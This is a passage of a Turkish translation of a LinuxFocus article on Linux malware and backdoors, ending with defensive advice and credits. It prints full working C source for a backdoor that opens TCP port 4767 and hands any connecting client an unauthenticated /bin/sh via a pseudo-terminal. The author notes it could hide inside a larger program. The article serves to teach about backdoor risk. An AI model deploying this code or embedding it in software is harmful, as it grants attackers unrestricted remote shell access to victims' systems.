Arka kapý problemi önemlidir, ücretsiz yazýlýmlarda bile , tabiki herkes kaynak kodunu okuyarak teorik olarak programýn ne yaptýðýný anlayabilir . Fakat çok az insan internetten arþiv bilgilerini indirir . Örneðin aþaðýdaki küçük program bile büyük ve tam bir arka kapý saðlar . Küçük boyutuyla kendini büyük bir uygulamaya rahatça saklayabilir . Program kitabýmdaki pseudo-terminal mekanizmasý örneðinden alýnmýþtýr . ([BLAESS 00]). Açýklama ve hata kontrol satýrlarý kýsa olmasý bakýmýndan kaldýrýlmýþtýr. Program çalýþtýrýdýðý zaman belitilen portta (varsayýlan 4767) bir TCP/IP sunucusu açar ve her baðlantý isteðinde herhangi bir kontrol olmaksýzýn kabuða eriþir!!

    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
    int                sock;
    int                sockopt;
    struct sockaddr_in adresse; /* address */
    socklen_t          longueur; /* length */
    int                sock2;
    int        pty_maitre; /* pty_master */
    int        pty_esclave; /* pty_slave */
    char *         nom_pty; /* name_pty */
    struct termios     termios;
    char * args [2] = { "/bin/sh", NULL };
    fd_set         set;
    char           buffer [4096];
    int            n;

    sock = socket (AF_INET, SOCK_STREAM, 0);
    sockopt = 1;
    setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt));
    memset (& adresse, 0, sizeof (struct sockaddr));
    adresse . sin_family = AF_INET;
    adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
    adresse . sin_port = htons (PORT_BACKDOOR);
    if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse)))
        exit (1);
    listen (sock, 5);
    while (1) {
        longueur = sizeof (struct sockaddr_in);
        if ((sock2 = accept (sock, & adresse, & longueur)) < 0)
            continue;
        if (fork () == 0) break;
        close (sock2);
    }
    close (sock);
    if ((pty_maitre = getpt()) < 0) exit (1);
    grantpt  (pty_maitre);
    unlockpt (pty_maitre);
    nom_pty = ptsname (pty_maitre);
    tcgetattr (STDIN_FILENO, & termios);
    if (fork () == 0) {
        /* Son: shell execution in the slave
            pseudo-TTY */
        close (pty_maitre);
        setsid();
        pty_esclave = open (nom_pty, O_RDWR);
        tcsetattr (pty_esclave, TCSANOW, & termios);
        dup2 (pty_esclave, STDIN_FILENO);
        dup2 (pty_esclave, STDOUT_FILENO);
        dup2 (pty_esclave, STDERR_FILENO);
        execv (args [0], args);
        exit (1);
    }
    /* Father: copy of the socket to the master pseudo-TTY
        and vice versa */
        tcgetattr (pty_maitre, & termios);
    cfmakeraw (& termios);
    tcsetattr (pty_maitre, TCSANOW, & termios);
    while (1) {
        FD_ZERO (& set);
        FD_SET (sock2, & set);
        FD_SET (pty_maitre, & set);
        if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
             & set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}

Böyle küçük bir kodun büyük bir uygulamadan filtre edilmesi uzun zaman alýr . Arka kapýlar sadece teorik olasýlýklar olarak düþünülmemelidir. Örneðin Red Hat 6.2 nin Piranha paketi varsayýýlan(default) þifreyi kabul eder. Quake 2 adlý oyunda arka kapý bulundurmaktadýr . Arka kapý mekanizmalarý kendilerin çok karmaþýk görünümlerdede saklarlar ve bir çok kullanýcý tarafýndan farkedilmezler.Örneklerini þifreleme sistemlerinde görebiliriz.Örneðin SE-Linux , NSA tarafýndan geliþtirilen güvenlik yamalarýný kullanmaktadýr. Fakat hiç bir Linux geliþtiricisi kesin olarak yamalarý kontrol ettiðini ve bir açýk bulunmadýðýný iddia edemez ve emin olamaz . Çok az kiþi bu tip zayýflýklarý farkedecek Matematik bilgisine sahiptir .

 

Sonuçlar

Sonuç olarak Gnu/Linux dünyasýndaki ücretsiz yazýlýmlar tamamýyla güvenli deðildir. Çok da aceleci ve endiþeli olmadan gerekli önlemleri almak, yazýlýmlarý mümkün olan en kýsa sürede güncellemek , sadece gerekli að servislerini kullanmak , güvenilen sitelerden uygulama indirmek , indirilen paketlerin PGP yada MD5 yeterliliðinin olmasýna dikkat etmek yararlý olacaktýr .

Linux sistemleri yakýn gelecekte iki ana tehlike beklemektedir . Birincisi üretim uygulamalarýnýn dökümanlardaki makrolarý yorumlamasý ; ikincisi çok platformlu virüsler. Birinci problemde kulanýcý alýþkanlýklarý düzenlenerek sorun giderilebilsede ikinci problemi çözmek zordur. Umarýz çok yakýn bir zamanda Linux makinalarda daha güçlü virüs denetçisi programlar oluþturulur.

 

Kaynaklar

Yazýlýmlarý tehdit eden virüsler , truva atlarý,... nasýl çalýþtýklarý , ne yaptýklarý , hakkýnda bir çok kaynak bulunmaktadýr . Bu kaynaklarýn bir çoðu DOS/Windows için geçerli gibi gözüksede , bazýlarý Linux uda yakýndan ilgilendirmektedir. Bura konu edilen makaleler genel olarak teorik mekanizmalarý analiz etmektedir.

 

Bu yazý için görüþ bildiriminde bulunabilirsiniz

Her yazý kendi görüþ bildirim sayfasýna sahiptir. Bu sayfaya yorumlarýnýzý yazabilir ve diðer okuyucularýn yorumlarýna bakabilirsiniz.
 talkback page 

Görselyöre sayfalarýnýn bakýmý, LinuxFocus Editörleri tarafýndan yapýlmaktadýr
© Christophe Blaess, FDL
LinuxFocus.org
Çeviri bilgisi:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>
en --> tr: Hüseyin Kaya <hkaya(at)be.itu.edu.tr>
en --> tr: Gülþen Taþkýn <gulsen(at)be.itu.edu.tr>
en --> tr: Sevda Üsküplü <sevda(at)be.itu.edu.tr>
en --> tr: D. Melih Narin <melih(at)be.itu.edu.tr>

2002-09-23, generated by lfparser version 2.31